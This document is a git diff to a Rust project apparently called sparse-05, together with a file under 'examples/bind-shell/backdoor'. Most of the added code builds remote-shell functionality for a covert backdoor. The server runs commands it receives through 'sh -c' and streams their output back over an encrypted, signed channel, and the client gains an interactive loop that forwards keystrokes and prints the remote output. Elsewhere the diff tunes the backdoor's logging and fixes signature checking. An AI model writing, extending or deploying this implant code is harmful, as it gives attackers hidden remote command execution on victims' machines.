diff --git a/examples/bind-shell/backdoor/src/main.rs b/examples/bind-shell/backdoor/src/main.rs index a4f0e96..ea0804b 100644 --- a/examples/bind-shell/backdoor/src/main.rs +++ b/examples/bind-shell/backdoor/src/main.rs @@ -27,7 +27,7 @@ async fn main() -> anyhow::Result<()> { async fn handled_main() -> anyhow::Result<()> { simple_logger::SimpleLogger::new() .with_level(log::LevelFilter::Off) - .with_module_level("ex_bind_shell_backdoor", log::LevelFilter::Info) + .with_module_level("ex_bind_shell_backdoor", log::LevelFilter::Error) .init()?; let pubkey = @@ -214,7 +214,7 @@ async fn handle_command( .stdin(Stdio::null()) .stdout(Stdio::piped()) .stderr(Stdio::piped())) - .spawn() else { + .spawn() else { if let Err(e) = send_response.send(error_eth_packet.clone()).await { log::warn!("Could not send command done packet: {e:?}"); } @@ -243,7 +243,9 @@ async fn handle_command( let (out_type, Ok(len)) = tokio::select! { v = stdout.read(&mut stdout_buffer[..]) => (Output::Out, v), v = stderr.read(&mut stderr_buffer[..]) => (Output::Err, v) - } else { continue; }; + } else { + continue; + }; if len == 0 { break; diff --git a/sparse-05/sparse-05-client/src/commands/connect/mod.rs b/sparse-05/sparse-05-client/src/commands/connect/mod.rs index 2ccd9b1..3d6139e 100644 --- a/sparse-05/sparse-05-client/src/commands/connect/mod.rs +++ b/sparse-05/sparse-05-client/src/commands/connect/mod.rs @@ -33,7 +33,7 @@ impl Connection { let signature: [u8; 64] = data[..64].try_into().unwrap(); self.foreign_sign_pubkey - .verify(data, &Signature::from(signature))?; + .verify(&data[64..], &Signature::from(signature))?; let data = ecies_ed25519::decrypt(&self.config.enc_privkey, &data[64..])?; @@ -67,7 +67,7 @@ impl Connection { bail!("received packet from wrong computer"); } - self.decrypt_and_verify(&buffer[..read]) + dbg!(self.decrypt_and_verify(&buffer[..read])) } } diff --git a/sparse-05/sparse-05-client/src/commands/connect/shell.rs b/sparse-05/sparse-05-client/src/commands/connect/shell.rs index d9207a4..1f9428c 100644 --- a/sparse-05/sparse-05-client/src/commands/connect/shell.rs +++ b/sparse-05/sparse-05-client/src/commands/connect/shell.rs @@ -1,12 +1,21 @@ use std::{ - io::{self, Read, Write}, + io::{self, stdin, Read, Stdin, Write}, os::fd::AsRawFd, path::PathBuf, - sync::Arc, + sync::{ + mpsc::{channel, TryRecvError}, + Arc, + }, + thread::{self, scope}, }; -use sparse_05_common::messages::Capabilities; +use sparse_05_common::messages::{Capabilities, Command, Response}; use structopt::StructOpt; +use tokio::{ + io::{stderr, stdout, AsyncWriteExt}, + runtime::Handle, + sync::mpsc, +}; use super::{commands, Connection}; @@ -49,7 +58,83 @@ fn convert_termios_raw(attrs: &mut libc::termios) -> anyhow::Result<()> { Ok(()) } -async fn run_command(connection: Arc) -> anyhow::Result<()> { +async fn run_command(command: String, connection: Arc) -> anyhow::Result<()> { + connection + .send_command(Command::RunCommand(command)) + .await?; + + let id = loop { + let resp = connection.get_response().await?; + if let Response::AckRunCommand(id) = resp { + break id; + } + }; + + let (kill, handle_kill) = channel(); + let (send_message, mut handle_send_message) = mpsc::channel(16); + let handle = Handle::current(); + + let stdin_thread = thread::spawn({ + let mut stdin = stdin(); + let connection = Arc::clone(&connection); + + move || { + let mut stdin_buffer = [0u8; 1024]; + + loop { + let Ok(amount) = stdin.read(&mut stdin_buffer) else { + continue; + }; + + handle.spawn({ + let message = stdin_buffer[..amount].to_vec(); + let send_message = send_message.clone(); + async move { send_message.send(message).await } + }); + + match handle_kill.try_recv() { + Ok(()) | Err(TryRecvError::Disconnected) => { + break; + } + Err(_) => {} + } + } + } + }); + + loop { + enum Event { + Stdin(Vec), + Remote(Response), + } + + let Some(event) = tokio::select! { + v = connection.get_response() => v.ok().map(Event::Remote), + v = handle_send_message.recv() => v.map(Event::Stdin) + } else { + continue; + }; + + match event { + Event::Remote(Response::SendStdout(bytes, cid)) if cid == id => { + stdout().write(&bytes).await?; + } + Event::Remote(Response::SendStderr(bytes, cid)) if cid == id => { + stderr().write(&bytes).await?; + } + Event::Remote(Response::CommandDone(cid, code)) if cid == id => break, + Event::Stdin(stdin) => { + let _ = connection + .send_command(Command::SendStdin(stdin, id)) + .await?; + } + _ => {} + } + } + + let _ = kill.send(()); + let _ = stdin_thread.join(); + Ok(()) } @@ -81,7 +166,7 @@ pub(super) async fn shell( ); stdout.flush().unwrap(); - let mut cmd = [0u8; 256]; + let mut cmd = [0u8; 1024]; let amount = stdin.read(&mut cmd)?; if amount == 0 { @@ -113,7 +198,11 @@ pub(super) async fn shell( (Ok(SparseCommands::Exit), _) => { break; } - _ => {} + _ => { + if let Err(e) = run_command(input.to_string(), Arc::clone(&connection)).await { + eprintln!("{e:?}"); + }; + } } } diff --git a/sparse-05/sparse-05-common/src/lib.rs b/sparse-05/sparse-05-common/src/lib.rs index 9e4b7b2..c5d1bc6 100644 --- a/sparse-05/sparse-05-common/src/lib.rs +++ b/sparse-05/sparse-05-common/src/lib.rs @@ -10,7 +10,7 @@ pub mod messages { use serde::{Deserialize, Serialize}; use serde_repr::{Deserialize_repr, Serialize_repr}; - #[derive(Serialize, Deserialize)] + #[derive(Serialize, Deserialize, Debug)] pub enum Command { RunCommand(String), SendStdin(Vec, u64), @@ -32,7 +32,7 @@ pub mod messages { Disconnect, } - #[derive(Serialize, Deserialize)] + #[derive(Serialize, Deserialize, Debug)] pub enum FileType { File, Dir, @@ -43,7 +43,7 @@ pub mod messages { Char, } - #[derive(Serialize, Deserialize)] + #[derive(Serialize, Deserialize, Debug)] pub struct UnixMetadata { pub mode: u32, pub uid: u32, @@ -52,19 +52,19 @@ pub mod messages { pub mtime: i64, } - #[derive(Serialize, Deserialize)] + #[derive(Serialize, Deserialize, Debug)] pub struct DirEntry { pub name: OsString, pub size: u64, pub unix: Option, } - #[derive(Serialize, Deserialize)] + #[derive(Serialize, Deserialize, Debug)] pub enum Response { AckRunCommand(u64), - SendStderr(Vec, u64, u64), - SendStdout(Vec, u64, u64), - CommandDone(u64, u32), + SendStderr(Vec, u64), + SendStdout(Vec, u64), + CommandDone(u64, i32), CdDone, LsResults(Vec), diff --git a/sparse-05/sparse-05-server/src/connection/command.rs b/sparse-05/sparse-05-server/src/connection/command.rs index d230c4f..3ac7ddf 100644 --- a/sparse-05/sparse-05-server/src/connection/command.rs +++ b/sparse-05/sparse-05-server/src/connection/command.rs @@ -1,4 +1,6 @@ use std::{ + io::{Read, Write}, + process::{Command, Stdio}, sync::{ atomic::AtomicU64, mpsc::{channel, Sender}, @@ -6,6 +8,8 @@ use std::{ thread::Scope, }; +use sparse_05_common::messages::Response; + use super::ConnectionInformation; const CURRENT_COMMAND_ID: AtomicU64 = AtomicU64::new(0); @@ -22,8 +26,78 @@ pub(super) fn spawn_command<'a, 'b: 'a>( ) -> anyhow::Result { let (data_sender, data_receiver) = channel(); - Ok(CommandHandler { - id: CURRENT_COMMAND_ID.fetch_add(1, std::sync::atomic::Ordering::Relaxed), - data_sender, - }) + let id = CURRENT_COMMAND_ID.fetch_add(1, std::sync::atomic::Ordering::Relaxed); + + dbg!(&command); + + let mut command = Command::new("sh") + .arg("-c") + .arg(&command) + .env("TERM", "screen") + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + .spawn()?; + + let resp = Response::AckRunCommand(id); + conninfo.send(conninfo.encrypt_and_sign_resp(resp)?)?; + + s.spawn(move || -> anyhow::Result<()> { + if let Some(mut stdout) = command.stdout.take() { + s.spawn(move || { + let mut stdout_buffer = [0u8; 1024]; + + loop { + let Ok(count) = stdout.read(&mut stdout_buffer) else { + continue; + }; + + let resp = Response::SendStdout(stdout_buffer[..count].to_vec(), id); + let Ok(packet) = conninfo.encrypt_and_sign_resp(resp) else { + continue; + }; + _ = conninfo.send(packet); + } + }); + } + + if let Some(mut stderr) = command.stderr.take() { + s.spawn(move || { + let mut stderr_buffer = [0u8; 1024]; + + loop { + let Ok(count) = stderr.read(&mut stderr_buffer) else { + continue; + }; + + let resp = Response::SendStderr(stderr_buffer[..count].to_vec(), id); + let Ok(packet) = conninfo.encrypt_and_sign_resp(resp) else { + continue; + }; + _ = conninfo.send(packet); + } + }); + } + + if let Some(mut stdin) = command.stdin.take() { + s.spawn(move || loop { + let Ok(input): Result, _> = data_receiver.recv() else { + continue; + }; + + _ = stdin.write(&input); + }); + } + + let code = match command.wait() { + Ok(status) => status.code().unwrap_or(-1), + Err(_) => -1, + }; + let resp = Response::CommandDone(id, code); + let resp = conninfo.encrypt_and_sign_resp(resp)?; + conninfo.send(resp)?; + Ok(()) + }); + + Ok(CommandHandler { id, data_sender }) }